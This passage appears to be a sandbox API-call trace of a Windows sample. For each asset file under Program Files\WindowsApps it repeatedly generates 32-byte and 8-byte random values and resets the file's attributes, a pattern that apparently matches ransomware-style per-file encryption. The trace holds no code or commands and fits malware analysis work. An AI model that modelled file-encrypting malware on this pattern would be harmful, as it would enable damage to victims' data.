0 [0218.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9708 | out: pbBuffer=0x34c9708) returned 1 [0218.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee448 | out: pbBuffer=0x30ee448) returned 1 [0218.800] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c90d8 | out: pbBuffer=0x34c90d8) returned 1 [0218.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee428 | out: pbBuffer=0x30ee428) returned 1 [0218.800] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9a20 | out: pbBuffer=0x34c9a20) returned 1 [0218.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee408 | out: pbBuffer=0x30ee408) returned 1 [0218.801] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8478 | out: pbBuffer=0x34c8478) returned 1 [0218.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee378 | out: pbBuffer=0x30ee378) returned 1 [0218.801] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8580 | out: pbBuffer=0x34c8580) returned 1 [0218.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee358 | out: pbBuffer=0x30ee358) returned 1 [0218.802] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c89a0 | out: pbBuffer=0x34c89a0) returned 1 [0218.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3b8 | out: pbBuffer=0x30ee3b8) returned 1 [0218.802] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9b28 | out: pbBuffer=0x34c9b28) returned 1 [0218.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4a8 | out: pbBuffer=0x30ee4a8) returned 1 [0218.803] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9e40 | out: pbBuffer=0x34c9e40) returned 1 [0218.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3e8 | out: pbBuffer=0x30ee3e8) returned 1 [0218.804] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca050 | out: pbBuffer=0x34ca050) returned 1 [0218.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3f8 | out: pbBuffer=0x30ee3f8) returned 1 [0218.804] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png", dwFileAttributes=0x80) returned 0 [0218.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8688 | out: pbBuffer=0x34c8688) returned 1 [0218.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee438 | out: pbBuffer=0x30ee438) returned 1 [0218.804] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8aa8 | out: pbBuffer=0x34c8aa8) returned 1 [0218.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee348 | out: pbBuffer=0x30ee348) returned 1 [0218.807] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png", dwFileAttributes=0x80) returned 0 [0218.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8cb8 | out: pbBuffer=0x34c8cb8) returned 1 [0218.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee458 | out: pbBuffer=0x30ee458) returned 1 [0218.807] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8dc0 | out: pbBuffer=0x34c8dc0) returned 1 [0218.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee388 | out: pbBuffer=0x30ee388) returned 1 [0218.808] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png", dwFileAttributes=0x80) returned 0 [0218.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9c30 | out: pbBuffer=0x34c9c30) returned 1 [0218.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee308 | out: pbBuffer=0x30ee308) returned 1 [0218.808] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.809] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9f48 | out: pbBuffer=0x34c9f48) returned 1 [0218.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee468 | out: pbBuffer=0x30ee468) returned 1 [0218.810] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png", dwFileAttributes=0x80) returned 0 [0218.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c91e0 | out: pbBuffer=0x34c91e0) returned 1 [0218.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee328 | out: pbBuffer=0x30ee328) returned 1 [0218.810] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c93f0 | out: pbBuffer=0x34c93f0) returned 1 [0218.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee478 | out: pbBuffer=0x30ee478) returned 1 [0218.811] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png", dwFileAttributes=0x80) returned 0 [0218.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9600 | out: pbBuffer=0x34c9600) returned 1 [0218.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee488 | out: pbBuffer=0x30ee488) returned 1 [0218.811] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.812] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9810 | out: pbBuffer=0x34c9810) returned 1 [0218.812] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee498 | out: pbBuffer=0x30ee498) returned 1 [0218.812] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0218.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb4f0 | out: pbBuffer=0x34cb4f0) returned 1 [0218.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4b8 | out: pbBuffer=0x30ee4b8) returned 1 [0218.813] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc150 | out: pbBuffer=0x34cc150) returned 1 [0218.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2c8 | out: pbBuffer=0x30ee2c8) returned 1 [0218.813] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png", dwFileAttributes=0x80) returned 0 [0218.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cafc8 | out: pbBuffer=0x34cafc8) returned 1 [0218.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2d8 | out: pbBuffer=0x30ee2d8) returned 1 [0218.814] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cbc28 | out: pbBuffer=0x34cbc28) returned 1 [0218.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2e8 | out: pbBuffer=0x30ee2e8) returned 1 [0218.815] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34caba8 | out: pbBuffer=0x34caba8) returned 1 [0218.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2f8 | out: pbBuffer=0x30ee2f8) returned 1 [0218.816] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cacb0 | out: pbBuffer=0x34cacb0) returned 1 [0218.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee318 | out: pbBuffer=0x30ee318) returned 1 [0218.817] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png", dwFileAttributes=0x80) returned 0 [0218.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb0d0 | out: pbBuffer=0x34cb0d0) returned 1 [0218.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee638 | out: pbBuffer=0x30ee638) returned 1 [0218.817] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cbb20 | out: pbBuffer=0x34cbb20) returned 1 [0218.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee548 | out: pbBuffer=0x30ee548) returned 1 [0218.818] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png", dwFileAttributes=0x80) returned 0 [0218.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc048 | out: pbBuffer=0x34cc048) returned 1 [0218.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee558 | out: pbBuffer=0x30ee558) returned 1 [0218.819] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34caec0 | out: pbBuffer=0x34caec0) returned 1 [0218.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee588 | out: pbBuffer=0x30ee588) returned 1 [0218.869] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png", dwFileAttributes=0x80) returned 0 [0218.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca998 | out: pbBuffer=0x34ca998) returned 1 [0218.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee518 | out: pbBuffer=0x30ee518) returned 1 [0218.869] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb1d8 | out: pbBuffer=0x34cb1d8) returned 1 [0218.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5f8 | out: pbBuffer=0x30ee5f8) returned 1 [0218.870] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb5f8 | out: pbBuffer=0x34cb5f8) returned 1 [0218.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5d8 | out: pbBuffer=0x30ee5d8) returned 1 [0218.870] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc258 | out: pbBuffer=0x34cc258) returned 1 [0218.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4c8 | out: pbBuffer=0x30ee4c8) returned 1 [0218.871] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cbf40 | out: pbBuffer=0x34cbf40) returned 1 [0218.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5e8 | out: pbBuffer=0x30ee5e8) returned 1 [0218.871] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0218.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca578 | out: pbBuffer=0x34ca578) returned 1 [0218.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4f8 | out: pbBuffer=0x30ee4f8) returned 1 [0218.872] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb3e8 | out: pbBuffer=0x34cb3e8) returned 1 [0218.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee528 | out: pbBuffer=0x30ee528) returned 1 [0218.872] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8bb0 | out: pbBuffer=0x34c8bb0) returned 1 [0218.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee648 | out: pbBuffer=0x30ee648) returned 1 [0218.873] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png", dwFileAttributes=0x80) returned 0 [0218.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca260 | out: pbBuffer=0x34ca260) returned 1 [0218.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee668 | out: pbBuffer=0x30ee668) returned 1 [0218.888] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca368 | out: pbBuffer=0x34ca368) returned 1 [0218.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee658 | out: pbBuffer=0x30ee658) returned 1 [0218.892] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca890 | out: pbBuffer=0x34ca890) returned 1 [0218.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4d8 | out: pbBuffer=0x30ee4d8) returned 1 [0218.893] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cadb8 | out: pbBuffer=0x34cadb8) returned 1 [0218.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee698 | out: pbBuffer=0x30ee698) returned 1 [0218.893] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb2e0 | out: pbBuffer=0x34cb2e0) returned 1 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee568 | out: pbBuffer=0x30ee568) returned 1 [0218.974] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34caaa0 | out: pbBuffer=0x34caaa0) returned 1 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6a8 | out: pbBuffer=0x30ee6a8) returned 1 [0218.974] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb910 | out: pbBuffer=0x34cb910) returned 1 [0218.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5b8 | out: pbBuffer=0x30ee5b8) returned 1 [0218.974] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.975] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca680 | out: pbBuffer=0x34ca680) returned 1 [0218.975] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee4e8 | out: pbBuffer=0x30ee4e8) returned 1 [0218.975] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca470 | out: pbBuffer=0x34ca470) returned 1 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee608 | out: pbBuffer=0x30ee608) returned 1 [0218.976] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca788 | out: pbBuffer=0x34ca788) returned 1 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee578 | out: pbBuffer=0x30ee578) returned 1 [0218.976] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb700 | out: pbBuffer=0x34cb700) returned 1 [0218.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee618 | out: pbBuffer=0x30ee618) returned 1 [0218.976] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cb808 | out: pbBuffer=0x34cb808) returned 1 [0218.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee628 | out: pbBuffer=0x30ee628) returned 1 [0218.977] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cba18 | out: pbBuffer=0x34cba18) returned 1 [0218.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee5a8 | out: pbBuffer=0x30ee5a8) returned 1 [0218.977] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cbd30 | out: pbBuffer=0x34cbd30) returned 1 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee678 | out: pbBuffer=0x30ee678) returned 1 [0218.978] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cbe38 | out: pbBuffer=0x34cbe38) returned 1 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee508 | out: pbBuffer=0x30ee508) returned 1 [0218.978] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2fb8 | out: pbBuffer=0x34c2fb8) returned 1 [0218.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee538 | out: pbBuffer=0x30ee538) returned 1 [0218.979] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0218.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c37f8 | out: pbBuffer=0x34c37f8) returned 1 [0218.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee598 | out: pbBuffer=0x30ee598) returned 1 [0218.992] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0218.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c2250 | out: pbBuffer=0x34c2250) returned 1 [0218.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee688 | out: pbBuffer=0x30ee688) returned 1 [0218.992] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.996] CryptGenRandom (in: hProv=0x55a150, 